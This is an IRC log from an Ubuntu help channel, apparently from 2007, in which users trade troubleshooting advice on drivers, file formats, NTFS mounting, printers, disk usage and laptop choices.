[12:12] <gordonjcp> funky
[12:12] <h1st0> ali1234: you should really do someting like find . -depth -print0 | sudo cpio --null --sparse -pvd /new/hardrive
[12:12] <medfly> ompaul, its just ive been to many places and people dont tend to bother with it, there are other right to left languages with odd letters..
[12:13] <ompaul> the trouble that caused me to get in there rtl and lrt mixed
[12:13] <gordonjcp> !gd
[12:13] <Ubotu> Sorry, I don't know anything about gd - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[12:13] <faileas> gordonjcp: still got the old sun machine we talked about a while back? ;p
[12:13] <gordonjcp> I'm guessing there isn't a Gaelic-language Ubuntu channel
[12:13] <amorphous__> faileas
[12:13] <gordonjcp> faileas: how many do you want?
[12:13] <amorphous__> faileas - that coincided perfectly with me removing cookies... thought I'd broke it (Heheheh...)
[12:13] <faileas> gordonjcp: one?
[12:13] <ompaul> gordonjcp, #ubuntu-ie may be there
[12:13] <ali1234> h1st0: i did "mount -o bind / /mnt/roottmp" first in order to not copy /dev/ /proc/ and such...
[12:14] <Error443> Hello, is there a Mac OS8 emulator for Feisty?
[12:14] <gordonjcp> ompaul: Irish Gaelic is sort of similar, I suppose
[12:14] <faileas> gordonjcp: i assume it works with a standard monitor/keyboard. or its part of it?
[12:14] <gordonjcp> faileas: think the ultra does, don't know about the earlier ones
[12:14] <faileas> Error443: i'd take a look at minivmac or basalisk. you'd need a copy of OS8 and a rom though
[12:14] <ompaul> gordonjcp, they might manage it
[12:15] <faileas> gordonjcp: ;)
[12:15] <dimitrius> does anybody here know how to install the driver of the ATI Radeon x1950? i've tried Envy, and i've also followed the instructions on the forums, but they don't seem to work.
[12:15] <gordonjcp> !envy | dimitrius
[12:15] <Ubotu> dimitrius: envy is a script that may leave you envious of those who have not used it, use the resticted manager to install binary drivers or use the instructions on the wiki, this script may break your machine very badly!
[12:15] <h1st0> ali1234: ahh
[12:15] <Error443> Faileas, i have a copy of OS8, but what do you mean with the rom?hardware?
[12:15] <faileas> i'll probably get back to you when i get back and get internet access again. I'm very interested tho
[12:15] <faileas> Error443: a rom dump
[12:15] <h1st0> ali1234: hrm.. I have no idea why it would be asking for a key then.
[12:16] <dimitrius> I've used the restricted drivers which just leave me in just as bad as shape as Envy did.
[12:16] <faileas> Error443: minivmac has one, but it might be an older model
[12:16] <Error443> Oke tnx, ill try it
[12:16] <jonathan_> hello all, I need to open office 2007 files. docx. but, how to open it... my open office or abiword can't recognize those files
[12:16] <h1st0> ali1234: the command i gave wouldn't work well nvm.
[12:16] <gordonjcp> Error443: most Mac emulators rely on having a ROM image from a "real" Mac, which is copyrighted software
[12:17] <medfly> !ar
[12:17] <medfly> oh well. is there a arabic ubuntu channel? :-)
[12:17] <[nrx] > lol
[12:17] <Ubotu> Sorry, I don't know anything about ar - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[12:17] <ali1234> h1st0: cheers anyway
[12:17] <Some_ux> blah, after tinkering with the thing for an hour i think i got the sensors.conf to work properly
[12:17] <jonnymac> I had 2007 office problem yesterday
[12:17] <ompaul> !sa
[12:17] <Ubotu> For the Arabic language or Saudi Arabia you are invited to join     #ubuntu-sa
[12:17] <jonnymac> It's not compatible with anything, you need to save your docs in 'compatibility mode'
[12:18] <faileas> Error443: http://www.nothickmanuals.info/doku.php?id=minivmac is worth checking out. its a howto for windows, but a lot of the stuff there may be of use
[12:18] <jonnymac> didja get that jonathan?
[12:18] <jonathan_> hello all, I need to open office 2007 files. docx. but, how to open it... my open office or abiword can't recognize those files
[12:18] <medfly> eek, that one is even smaller :-)
[12:18] <Some_ux> it appears the Motherboard is indeed hotter than the CPU
[12:18] <jonnymac> yeah you need to save your files in compatibility mode
[12:18] <Error443> ;) mac on a stick...
[12:18] <faileas> Error443: windows howto ;p
[12:18] <jonnymac> if you're on linux it's much easier to use open office
[12:18] <ali1234> Some_ux: my motherboard has the cpu and mb sensors backwards, i actually tested it with a speed controlled cpu fan
[12:18] <faileas> hmm no, mac howto
[12:19] <jonnymac> you can then send via email in pdf format
[12:19] <jonnymac> howto?
[12:19] <jonathan_> oh my
[12:19] <ompaul> medfly, what is the actual question you have?
[12:19] <jonathan_> confused now...
[12:19] <jonnymac> I've Im'd you
[12:19] <faileas> Error443: however you could use the tools there to dump a rom. I'd recommend basalisk over Maconastick though
[12:19] <Some_ux> ali234: i think the readings are correct as the CPU contains a diode and the lower reading is from the diode
[12:20] <faileas> who is you?
[12:20] <ompaul> jonathan_, get them sent to you in ODF / the old word format
[12:20] <medfly> ompaul, i wanna know how i can properly read/write a language like hebrew (different letters, different direction (right to left)) on terminal
[12:20] <jonathan_> at?
[12:20] <jonathan_> I need to open office 2007 first?
[12:20] <jonathan_> that's my friend doc
[12:20] <faileas> office2007=docx
[12:20] <ali1234> Some_ux: well, all i know is that the motherboard temp reading would fluctuate with cpu fan speed, and was higher than the reported cpu temp
[12:21] <faileas> i'm fairly certain that OOo opens it readonly
[12:21] <ali1234> Some_ux: i think in the bios screen they were the right way around though
[12:21] <jonnymac> yeah, 2007 sucks
[12:21] <ompaul> jonathan_, tell them to use open formats - not closed up ones and we don't do an opening of them
[12:21] <jonathan_> I need to open those doc for business purposes immediately
[12:21] <Omar_> get that microsoft doxcx viewer
[12:21] <jonathan_> ugh... that's the top prob at my life...
[12:21] <jonathan_> damn office2007
[12:22] <ompaul> jonathan_, well we don't have a solution for it, do what I do even to MS employees we don't support that format please resend thank you
[12:22] <Alloosh> hi, how do I connect to my computer from other computers?
[12:22] <Omar_> btw i just moved to ubuntu and twice i stopped bootings (ubuntu logo shows up and load bar stops at 10% with hd idiling)
[12:23] <ompaul> !bootoptions | Omar_
[12:23] <Ubotu> Omar_: For a list and explanation on some of the boot options, see https://help.ubuntu.com/community/BootOptions
[12:23] <jonathan_> that's ok
[12:23] <jonathan_> I hope the next open office or abiword can open docx format
[12:23] <h1st0> jonathan_: http://geekhacks.blogspot.com/2007/05/working-with-word-2007-documentsdocx-in.html
[12:24] <Omar_> cool
[12:24] <Omar_> i just press esc? for options
[12:25] <jonathan_> thanks , histo
[12:26] <steel_lady> a stupid easy question, I install a program, how do I find it to run it?
[12:26] <Myrtti> depends on the program
[12:26] <[nrx] > depends on the program but it'll usually tell you in the INSTALL or README file
[12:27] <steel_lady> XView
[12:27] <steel_lady> synaptic doesn't tell anything
[12:27] <Myrtti> press alt-f2 and type the name of the software on the little box
[12:27] <Some_ux> is there a proper module for lm-sensors in webmin ?
[12:27] <steel_lady> ok, let's see
[12:27] <ali1234> steel_lady: in synaptic, look at the package properties, then the "installed files" tab
[12:28] <[nrx] > guys, in gnome i could use the softkeys on the laptop to change the volume.. in KDE, it doesn't work. any ideas?
[12:29] <[nrx] > anyone? :)
[12:29] <ali1234> [nrx] : how did you get them working in gnome? ;) (i think it depends on laptop tbh)
[12:29] <wiz> [nrx] , check the KDE hotkeys setting (=
[12:29] <[nrx] > ali1234, they just worked straight off :)
[12:29] <Some_ux> anyone here use webmin ?
[12:30] <[nrx] > wiz, where abouts?
[12:30] <wiz> explore main menu
[12:30] <[nrx] > ok
[12:31] <jonnymac> any ideas on the best total beginners guide to ubuntu i.e. integrated webcam installation, howto install third party apps, &c? I'm not only new to ubuntu but fairly idiotic once people start talking about command lines and strings of code
[12:31] <ubuntu> hey
[12:31] <ari_stress> hey ubuntu
[12:31] <jonnymac> ciao ubuntu
[12:31] <ari_stress> nice nickname!
[12:31] <ubuntu> could someone quickly give me a command line to mount an ntfs file system with write access from live cd
[12:32] <wiz> in newer versions you don't need CL
[12:32] <wiz> just use nautilus
[12:32] <ubuntu> i need write access though
[12:32] <ari_stress> ubuntu: mount theserver:/the/directory /mnt
[12:32] <ubuntu> ari_stress, that doesnt give me write access
[12:32] <wiz> i've writen a bunch of files into ntfs-formatted usb drive and only noticed it on unmounting
[12:32] <stjepan> there's a right triangle. one cathetus is 2.3, the second is 1. I need the angles. (it's very urgent)
[12:32] <Moniker42> can anyone think of a reason why a sata drive would work in ubuntu but not be detected by the bios and break the windows xp cd?
[12:32] <ompaul> !ntfs | ubuntu
[12:32] <Ubotu> ubuntu: To view your Windows/Mac partitions see https://help.ubuntu.com/community/AutomaticallyMountPartitions . For write access see !ntfs-3g or !fuse
[12:32] <jonnymac> so anybody know f a beginners guide? Like the total idiots guide to ubuntu?
[12:33] <ari_stress> ubuntu: the write access is determined from the server
[12:33] <ubuntu> cheers ompaul
[12:33] <Moniker42> jonnymac, i think there are some books if you search Waterstone's.com or maybe amazon...
[12:33] <ompaul> jonnymac, na, we do have basic manuals though, if you check out help.ubuntu.com
[12:33] <frogzoo> any show stoppers upgrading from dapper to edgy? I have this machine running, I really don't want to have to do a full install
[12:34] <Moniker42> jonnymac, there are more than enough resources online but there is paper literature if you really want it :)
[12:34] <ari_stress> ompaul: how about for ubuntu server guide? i'm from redhat family, need familiarization with debian based
[12:34] <jonnymac> aha, thanks ompaul, I think that's the second time you've come to my rescue:-*
[12:34] <jonnymac> I was thinking more along the lines of internet-type stuff
[12:34] <ompaul> ari_stress, there is such a thing on that help.ubuntu.com have a poke around there
[12:34] <jonnymac> thank'ee Moniker
[12:34] <Moniker42> http://www.waterstones.com/waterstonesweb/displayProductDetails.do?sku=5790679
[12:35] <ari_stress> ok ompaul
[12:35] <Moniker42> i've heard that's good ^
[12:35] <Moniker42> and i'm sure you can find a pdf somewhere if you look hard enough ;)
[12:35] <jonnymac> 24 pounds? Bloody hell that a bit steep innit?
[12:35] <ppj> im failing at ndiswrapper 101
[12:35] <clip> need help with phpmotion on ubuntu server, i always get a blank screen?!
[12:36] <ari_stress> clip: is there any error in /var/log/apache2/error_log?
[12:37] <b33r> Do I need a 64 bit version of ubuntu with Intel E6750 CPU?
[12:37] <aivalli> hi folks
[12:37] <aivalli> I am running ntop
[12:38] <aivalli> I am getting this in my log http://pastebin.com/d194bb42e
[12:38] <aivalli> I think its with the permisions, any hints on what permissions to fix ?
[12:39] <frogzoo> aivalli: what is running rrdtool? cactus? mrtg?
[12:39] <clip> ari_stress: no error
[12:40] <ari_stress> clip: i'm stumpped. usually it will tell if there's any error, such as pear module is not installed, etc
[12:41] <frogzoo> aivalli: ls -ld /var/lib/ntop/rrd/interfaces/eth0
[12:41] <jah> hi uhrm, is there any way to use external monitor (on laptop) if I use nvidia drivers in ubuntu?
[12:41] <clip> ari_stress: you know phpmotion?
[12:41] <jah> i cant find any app :(
[12:41] <jonathan_> hm... it seems there is no significant changes at ubuntu 7.10 gusty
[12:41] <jonathan_> is that true?
[12:42] <jah> is there anything particular for using external monitors on a laptop?
[12:42] <Nighthawk420> jonathan its still not stable
[12:42] <ari_stress> clip: no
[12:43] <jah> so no one knows:[
[12:44] <frogzoo> jonathan_: for gutsy discussion, -> #ubuntu+1
[12:44] <aivalli> frogzoo: ntop is running rrdtool coz that was a dependency when I installed it
[12:44] <jonathan_> :(
[12:44] <Rick__> hi
[12:45] <Rick__> i have read on the net that the ACER TM 6292 works on linux
[12:45] <ppj> oh my god
[12:45] <ppj> i got it
[12:45] <Rick__> would like to know if does the batt meter work and the power saving and max performance work as well
[12:45] <madgoat> hi I'm getting a ton of errors when reading DVDs on my new install. I get "hdb: command error: status=0x51 {DriveReady SeekComplete Error }" and "hdb:command error: error=0x50 {LastFailedSense=0x05}". Any idea how I can fix this?
[12:45] <Rick__> on my previous laptop that could not work :(
[12:46] <frogzoo> aivalli: ls -ld /var/lib/ntop/rrd/interfaces/eth0
[12:46] <xenouser> Hey, I'm having problems installing Lit Converter and I was wondering if anybody could lend me their knowlege
[12:47] <Rick__> also i would be partitioning my hd and create a shared partition between my windows and linux
[12:47] <Rick__> which would be the best
[12:47] <Rick__> the partition as fat / ntfs ?
[12:47] <faileas> Rick__: i'd personally suggest FAT32
[12:47] <xenouser> ntfs, i think. don't take my word for it though.
[12:47] <xenouser> Ah.. see.
[12:48] <ppj> there are very few reasons you would want FAT32 over NTfs
[12:48] <faileas> NTFS is alright with NTFS3g
[12:48] <xenouser> Anyway, does anybody know how to install Lit Converter?
[12:48] <Rick__> ic.. i tht so .. tooo
[12:48] <faileas> fat32 is the kitchen sink FS
[12:48] <ppj> Not to mention FAT32 has, what, a 4gb max file system size?
[12:48] <faileas> eh
[12:48] <ppj> Or 8gb, I forget
[12:48] <faileas> 4gb
[12:48] <Rick__> using the winblows partition magic.. it works on bigger sizes
[12:48] <Rick__> got a 80gb fat32 ext hd :)
[12:48] <aivalli> frogzoo: ls -ld fixed it ! Thanks
[12:48] <faileas> Rick__: not disk size, file size
[12:48] <aivalli> bye
[12:49] <steel_lady> which repository I have to enable to install this program: http://linux.softpedia.com/get/Multimedia/Graphics/XV-409.shtml
[12:49] <Rick__> oh...
[12:49] <Rick__> lol..
[12:49] <ppj> yeah
[12:49] <ppj> Im completely shocked I got my wireless working
[12:49] <faileas> lol
[12:49] <ppj> I saw the adapter pop onto my router and got lock jawed
[12:49] <faileas> what adaptor?
[12:49] <ppj> a ralink USB (wusb54gv4)
[12:50] <xenouser> Does anybody have knowlege about working with .lit files in Ubuntu?
[12:50] <ppj> im shocked
[12:50] <ppj> might try to use it in fbsd now
[12:50] <ppj> I am using ndiswrapper though
[12:50] <ari_stress> can i install centos on ubuntu xen?
[12:50] <Rick__> thanx for ur advise...
[12:50] <xenouser> IDK
[12:51] <ari_stress> !xen
[12:51] <Ubotu> XEN is a virtual machine monitor for x86 that supports execution of multiple guest operating systems with unprecedented levels of performance and resource isolation. Information on installing it for Ubuntu can be found at https://wiki.ubuntu.com/XenOnEdgy
[12:51] <gnomefreak> ari_stress: yes you can
[12:52] <abhibera> which is the best laptop i can buy for running ubuntu?
[12:52] <abhibera> everything should work with a few tweaks
[12:52] <abhibera> i want to buy a laptop
[12:52] <abhibera> but i hear cooling under ubuntu is an issue
[12:52] <xenouser> Me too. Anybody know how to install ConvertLit or Lit Converter on Ubuntu?
[12:52] <xenouser> I've googled the subject many a time, to no avail.
[12:53] <mynyml> abhibera: well there's the Dell ubuntu laptop ...
[12:53] <abhibera> mynyml: i live in india
[12:53] <mynyml> abhibera: its not the cheapest though, but it's garanteed to work
[12:53] <mynyml> oh
[12:53] <abhibera> mynyml: they don't sell ubuntu dell here
[12:53] <abhibera> mynyml: it's so sucky that i have to buy Windoze along with my laptop
[12:53] <mynyml> abhibera: did you check out the ubuntu pages about laptop support?
[12:53] <ppj> I'm using Ubuntu on a 1995 Compaq Armada M700 right now, I think you're fine with just about any laptop.
[12:54] <ppj> It worked great on my macbook and lenovo x60 too
[12:54] <wiz> abhibera, i have dell 6400 with c2d 7200. windows runs it sun-hot, while ubuntu is silent & cool
[12:54] <abhibera> mynyml: i think someone should file a suit with all these h/w manufacturers
[12:54] <mynyml> i agree. i have a no-name from china
[12:54] <xenouser> I need a Microsoft Reader substitute for linux.
[12:54] <wiz> less (8
[12:54] <xenouser> Anybody know of any easily attainable ones?
[12:54] <abhibera> wiz: how did u manage to do that? i was thinking Vostro 1400
[12:55] <ppj> I thought Vostros would be nice until I read the reviews
[12:55] <ppj> wasnt impressed
[12:55] <abhibera> wiz: i was reading it has cooling issues on Ubuntu :(
[12:55] <abhibera> wiz: it's my first laptop so r there utils to control fan speed etc?
[12:55] <wiz> did not do anything at all - was getting better battery life than windowz from start
[12:55] <wiz> it's automatical i think
[12:55] <ppj> abhibera: there are cpu idling programs
[12:56] <steel_lady> anybody knows well the distribution of repositories?
[12:56] <ppj> I've got 4 laptops, the automatic fan controlling is fine
[12:56] <ppj> I never touch them
[12:56] <wiz> i just control cpu power via gnome applet
[12:56] <ppj> yeah you can scale down cpu
[12:56] <wiz> and consulting with 'powertop'
[12:56] <ppj> for battery etc
[12:56] <abhibera> wiz ppj: and which one u think is better? nvidia 8400GS or Intel X3100?
[12:56] <ppj> nvidia
[12:56] <wiz> powertop is really great tool for travelers
[12:56] <ppj> the intel is probably shared ram
[12:56] <Irreducibilis> Intel always sucks for gpu
[12:56] <ppj> you want dedicated ram
[12:57] <Irreducibilis> But the 8400GS is also crap
[12:57] <Irreducibilis> Get at least an 8500
[12:57] <madgoat> hi I'm getting a ton of errors when reading DVDs on my new install. I get "hdb: command error: status=0x51 {DriveReady SeekComplete Error }" and "hdb:command error: error=0x50 {LastFailedSense=0x05}". Any idea how I can fix this?
[12:57] <ppj> i think ive got an 8600
[12:57] <ppj> i forget
[12:57] <xenouser> Thanks for all the help... hahahahahahahaha
[12:57] <abhibera> Irreducibilis: i don't have a choice there
[12:57] <Irreducibilis> My 5500FX is better than a 8400GS, aside from the DX10 support
[12:57] <abhibera> ppj: i hear the nvidia has issues
[12:57] <abhibera> ppj: it screws up while running beryl
[12:58] <wiz> abhibera, it looks like you've heard issues for everything ((=
[12:58] <ppj> abhibera: you hear linux overheats, you hear nvidia has issues, why dont you just buy a laptop and stop listening to your friends
[12:58] <ppj> friends = idiots
[12:58] <Irreducibilis> Yeah.
[12:58] <Irreducibilis> Buy a dellianware
[12:58] <abhibera> ppj: hmmmmmmm well my friends use ubuntu on a macbook
[12:58] <mynyml> I want to be able to be notified of new rss feeds on the desktop ... for example with libnotify; anyone know a tool that would do that?
[12:58] <ppj> abhibera: macbooks run hot as hell, i have one
[12:58] <abhibera> Irreducibilis: i live in india
[12:58] <TeePOG> every piece of hardware, statistically, will have issues. the probability is that you'll get a good one
[12:58] <ppj> my macbook is far hotter than my lenovo
[12:58] <Irreducibilis> Can one triple-boot a mac pro with Linux/Mac/Windows?
[12:59] <abhibera> ppj: ah my friend seems to have done some tweaking
[12:59] <abhibera> Irreducibilis: yes u can
[12:59] <lnx_> someone know how to add and print with PIXMA IP 1500 ?
[12:59] <ppj> the fans on a macbook are on the back behind the monitor, bad layout IMO
[12:59] <Irreducibilis> :)
[12:59] <Irreducibilis> Best of all worlds.
[12:59] <wiz> Inx_ had you tried gnome-cups-manager?
[12:59] <mynyml> vmware is much better though
[12:59] <abhibera> Irreducibilis: but i wouldn't use windoze i like OSX and iLife apps
[12:59] <ppj> xp runs flawlessly on macbooks, its great
[12:59] <The-Compiler> Hi there
[12:59] <ppj> just burn a driver disk through bootcamp and youre done
[12:59] <Irreducibilis> I need windowz
[12:59] <abhibera> Irreducibilis: i like Ubuntu for dev purposes
[01:00] <ppj> i personally dislike OSX
[01:00] <ppj> feels too awkward
[01:00] <Irreducibilis> Same
[01:00] <Jack_Sparrow> lnx_: HIt and miss with the canon printers
[01:00] <abhibera> Irreducibilis: OSX sucks for dev
[01:00] <Irreducibilis> But it would be nice just to have...
[01:00] <abhibera> Irreducibilis: but good for creative apps
[01:00] <ppj> I've never felt so out of place in an OS than trying to use OSX
[01:00] <ppj> And the application names piss me off
[01:00] <Irreducibilis> Indeed.
[01:00] <madgoat> OSX is cool... love it
[01:00] <lnx_> Jack_Sparrow , what ?
[01:00] <Irreducibilis> Stuff like dreamweaver and stuff
[01:00] <Irreducibilis> What kind of app name is that?
[01:00] <abhibera> Irreducibilis: run Photoshop, MS Office, Garage Band. they r really cool on OSX
[01:00] <Jack_Sparrow> lnx_: YOu want to setup a canon printer?
[01:00] <Gaidin> hey, in gnome my keyboard volume keys change master how would i make them change headphone? (alsa mixer)
[01:01] <Irreducibilis> abhibera: Have all of those except for garage band
[01:01] <ppj> Irreducibilis: more like stuff like colliliqouy, omnigraffle, etc, not very informative names
[01:01] <lnx_> Jack_Sparrow , yes an ip1500 pixma
[01:01] <[nrx] > in gnome my keyboard hotkeys would work for volume.. but in KDE they don't. any ideas people?
[01:01] <abhibera> Irreducibilis: get garage band and the M audio synth
[01:01] <penguincentral> hi
[01:01] <abhibera> Irreducibilis: u can make amazing music
[01:01] <Jack_Sparrow> lnx_: DId you look it up in the hardware list..?
[01:01] <bony> how to forward a bunch of mail's in gmail to another account? i have created a filter in my gmail account and i want to forward the mails which have this filter tag to them to another mail id.
[01:01] <ppj> abhibera: i'd get a macbook pro or a lenovo t61p if i were you
[01:01] <Jack_Sparrow> !hardware
[01:01] <Ubotu> For lists of supported hardware on Ubuntu see https://wiki.ubuntu.com/HardwareSupport
[01:01] <ppj> i deifnitel wouldnt get a macbook
[01:02] <ppj> the finish is too fragile
[01:02] <[nrx] > in gnome my keyboard hotkeys would work for volume.. but in KDE they don't. any ideas people?
[01:02] <abhibera> ppj: lenovo thinkpad is called stinkpad in india because 1) it costs 2 times of what it costs in US 2) support sucks
[01:02] <Jack_Sparrow> !repeat
[01:02] <Ubotu> Don't feel ignored and repeat your question quickly; if nobody knows your answer, nobody will answer you. You can search https://help.ubuntu.com or http://wiki.ubuntu.com while you wait. Also see !patience
[01:02] <ppj> abhibera: ah. i f'ing love thinkpads
[01:03] <abhibera> ppj: yea IBM was good
[01:03] <abhibera> ppj: lenovo is screwing it up
[01:03] <boontoo> How do i change my Video Out (vo) to X11 rather than xv? ayone?
[01:03] <ppj> abhibera: i've only owned lenovo thinkpads and love them
[01:03] <dennda> Is it a known issue with a fresh feisty install that the first update (via update-manager) leads to errors with openoffice and results in _immense_ speed loss after the next reboot?
[01:03] <ppj> they added all the new magnesium casing, carbon fiber, etc
[01:03] <ppj> theres some iffy points about what keyboard you'll get though
[01:03] <abhibera> ppj: those models cost a BOMB in India. lenovo has pretty bad popularity here
[01:03] <ppj> chicony on some which sucks
[01:03] <dennda> (I had this problem on two different machines. It said something about errors with openoffice)
[01:04] <gnomefreak> ppj please move to #ubuntu-offtopic to continue with that conversation
[01:04] <gnomefreak> abhibera: you as well please
[01:04] <abhibera> ppj:  whats a chicony?
[01:04] <ppj> no thanks
[01:04] <Jack_Sparrow> ppj: IT may be time to take that offtopic as people are starting to come in with questions
[01:04] <ppj> yes i got it the first time
[01:04] <gnomefreak> ppj: than keep it support related
[01:04] <adac> what is better: vncserver or vnc4server?
[01:04] <ppj> jesus christ
[01:04] <ppj> anyone else want to complain?
[01:04] <lnx_> Jack_Sparrow , i have installed the ip1500 driver and now in kcontrol > printer i have set it and i have found ip1500 in the printer list and when i do "peint test" nothing happen
[01:05] <abhibera> ppj: well gnomefreak is right but it was nice talking with ya maybe i'll get a thinkpad :)
[01:05] <abhibera> ppj: aka stinkpad here
[01:05] <frogzoo> dennda: oo's memory settings are on the low side & can be usefully bumped up
[01:05] <Jack_Sparrow> lnx_: I dont use kubuntu..  How did you install the driver..?
[01:06] <dennda> frogzoo: don't get me wrong: The update-manager said it failed to update something openoffice-related. After I rebootet the _entire system_ was slow like hell
[01:06] <lnx_> Jack_Sparrow , alien it to deb , then sudo dpkg -i *.deb
[01:06] <dennda> So I didn't even fire up OO.org
[01:06] <Jack_Sparrow> lnx_: Alien isnt a good solution
[01:07] <frogzoo> dennda: htop show something?
[01:07] <gila> aloooooooooo
[01:07] <lnx_> Jack_Sparrow , but the pakages are in  rpm format
[01:07] <MikeyMike> hey guys i have a simple command line question
[01:07] <Jack_Sparrow> lnx_: Which means they are not DEBIAN format
[01:07] <ckin2001> !ask
[01:07] <Ubotu> Don't ask to ask a question. Just ask your question :)
[01:07] <MikeyMike> i'm trying to figure out why /usr is so full.... what command would show me which directories in /usr are the largest?
[01:07] <dennda> frogzoo: unfortunately this happened yesterday at another machine in a local store where i wanted to demonstrate ubuntu. So I reinstalled it as fast as I could without updating. Thus I have no logs. (Just wanted to know if this is a known bug.)
[01:08] <booster_> hey guys  i have a question......today i was playing a few games like warsow and nexuiz. and they worked fine....ok now i tried to play them and the screen resolution goes to lik 400x800 and the games are real laggy....any ideas on how to fix it ??
[01:08] <lnx_> Jack_Sparrow , yes so i have convert them tobe . . .
[01:08] <DexterF> hi
[01:08] <Jack_Sparrow> !alien
[01:08] <Ubotu> RPM is the RedHat Package Management system. Ubuntu uses !APT, not RPM. RPM packages are not supported (the package "alien" can allow installing them, but it's quite dangerous)
[01:08] <dennda> MikeyMike: du or df (not sure)
[01:08] <DexterF> what's a good dvb watching app in ubuntu?
[01:08] <lnx_> Jack_Sparrow , ok you have other idea how i can set my printer ?
[01:09] <ckin2001> MikeyMike, du
[01:09] <MikeyMike> dennda,  du -s -k * | sort -n
[01:09] <MikeyMike> doesn't show enough
[01:09] <Jack_Sparrow> lnx_: Nope, I shelved my canon
[01:09] <steel_lady> how can I install programs?
[01:09] <gnomefreak> !synaptic | steel_lady
[01:09] <Ubotu> steel_lady: synaptic is Ubuntu's Graphical Package Manager. For a good howto see https://help.ubuntu.com/community/SynapticHowto
[01:09] <ckin2001> MikeyMike, du -Hs /usr/*
[01:09] <Jack_Sparrow> lnx_: SOmeone said there might be a fee / driver solution
[01:10] <steel_lady> gnomefreak, which repository should I add for XV image: http://linux.softpedia.com/get/Multimedia/Graphics/XV-409.shtml
[01:10] <lnx_> Jack_Sparrow , turboprint ?
[01:10] <Jack_Sparrow> lnx_: That may be it.
[01:10] <MikeyMike> ckin2001,  thanks
[01:10] <gnomefreak> steel_lady: not sure
[01:11] <booster_> should i try a reboot to fix my graphic problem /??
[01:11] <gnomefreak> booster_: try fixing it first
[01:11] <gnomefreak> booster_: reboot doesnt fix things really
[01:11] <lnx_> Jack_Sparrow , his prise is grate than my whole printer prise :(
[01:11] <booster_> any ideas on how??
[01:11] <dennda> did somebody ever buy large amounts of ubuntu CDs via this form http://www.ubuntu.com/files/u1/BulkCDOrderForm.pdf ? I want to know if they are sent as a bunch of CDs or with their usual carton-cases.
[01:11] <gnomefreak> booster_: what is the issue
[01:11] <steel_lady> gnomefreak, they explained to me how to do something for work with this program and I am googling and a lot of people are using it, just not mentioning how to install it
[01:11] <bullgard4> Why does sensors type 'No sensors found!'? I am sure that I have loaded all kernel drivers I need.
[01:11] <gnomefreak> dennda: you would have to ask them, this is not the channel for that
[01:12] <gnomefreak> steel_lady: did you look at the ubuntu forums?
[01:12] <booster_> well today i was playing games like warsow and nexuiz and it worked great...well now im trying to play them and they sometimes dont load...and if they do load they are all buggy and choppy
[01:12] <dennda> gnomefreak: Yes, sorry. Just thought somebody may have experience with this. ;)
[01:12] <booster_> and the screen res goes fromlike 1024x768 to like 400x600
[01:13] <Jack_Sparrow> lnx_: They give away canon printers with purchase at frys almost every week..  HNot a high end product
[01:13] <gnomefreak> steel_lady: that is something i would need to look into and i have app in an hour or so, i may not be best to look into it atm as i may run at any moment
[01:13] <gnomefreak> booster_: everything else works fine?
[01:13] <booster_> yes
[01:13] <gnomefreak> booster_: xorg works as expected  without games running?
[01:13] <booster_> just the games are giving me problems
[01:13] <gnomefreak> booster_: are you running compiz or berly?
[01:13] <gnomefreak> beryl even
[01:14] <booster_> not at  the moment
[01:14] <steel_lady> gnomefreak, they do not mantion it in forums
[01:14] <gnomefreak> booster_: do they do same thing without it running?
[01:14] <booster_> i realy havent tried to run the games while on beryl
[01:14] <[nrx] > in gnome my keyboard hotkeys would work for volume.. but in KDE they don't. any ideas people?
[01:14] <gnomefreak> booster_: dont
[01:15] <steel_lady> gnomefreak, is there a reason for this program not to be supported on ubuntu since it is widely used on linux?
[01:15] <gnomefreak> booster_: ok so you have only ran them with beryl off?
[01:15] <booster_> right
[01:15] <gnomefreak> steel_lady: yes most likely noone packaged it but i cant say its not in repos because i thought they were talking about it
[01:16] <gnomefreak> steel_lady: are you on feisty?
[01:16] <steel_lady> gnomefreak, and how do I find info on non standard repos?
[01:16] <steel_lady> yes I am gnomefreak
[01:16] <gnomefreak> booster_: thats odd but i would make sure all is good in xorg.conf
[01:17] <booster_> xorg.conf   ???? what does that do??
[01:17] <gnomefreak> steel_lady: hold on a sec libxv1 i have in gutsy let me check feisty
[01:17] <gnomefreak> booster_: its your xorg configure file
[01:17] <MikeyMike> anyone know where i can get osx help
[01:18] <booster_> any things i should look for??
[01:18] <Pici> MikeyMike: try ##mac
[01:18] <MikeyMike> im having 100% kernel_task useage on osx 10.4.10
[01:18] <steel_lady> gnomefreak, that was strange for me, I also have libraries but there is no installation for the actual viewer
[01:18] <Pici> MikeyMike: You need to /join ##mac   This channel here is only for Ubuntu support.
[01:19] <MikeyMike> Pici,  thanks i did
[01:19] <steel_lady> gnomefreak and it is not that fax viewer. seems to be 2 programs with the same or very similar name and they might have mixed them up and did not put the other in repos
[01:20] <kidbuntu> !chikka
[01:20] <Ubotu> Sorry, I don't know anything about chikka - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[01:20] <gnomefreak> steel_lady: xvfb
[01:20] <kidbuntu> !firefox
[01:20] <Ubotu> firefox is the default web-browser on Ubuntu. To install the latest version, see https://help.ubuntu.com/community/FirefoxNewVersion Installing plugins: https://wiki.ubuntu.com/FirefoxPlugins
[01:20] <gnomefreak> Virtual Framebuffer 'fake' X server is not a fax veiwer afaik
[01:20] <gnomefreak> kidbuntu: please dont play with the bot
[01:21] <neol> how do i install pidgin in 7.04 ?
[01:21] <steel_lady> gnomefreak, it is a server program not an image viewer
[01:21] <gnomefreak> xvfb - Virtual Framebuffer 'fake' X server
[01:21] <gnomefreak> steel_lady: that says nothing of image viewer
[01:22] <gnomefreak> steel_lady: too install it from the site you are looking at you have to compile it
[01:22] <steel_lady> I nead image viewer written by  	John Bradley
[01:22] <Cope> hello... i've noticed that ssh connections seem to take several seconds longer from my ubuntu machine to other machines, compared to previous experiences with eg debian / redhat; it seems as if extra checking is taking place? rDNS or something?  Does anyone know if this is a specific ubuntu setting I can disable?  It's rather annoying.
[01:22] <Delta> hey I cant change my resolution to 1280x1024 .... I tried changing xorg.conf
[01:23] <madgoat> I'm very quickly going off Ubuntu :( It won't work with any DVD drives I have! tons of error messages in /var/log/messages
[01:23] <[nrx] > lol
[01:23] <Jack_Sparrow> Delta: Please post your xorg to the pastebin..
[01:23] <steel_lady> gnomefreak, I don't see compiling instructions :-(
[01:23] <gnomefreak> !fixres | Delta
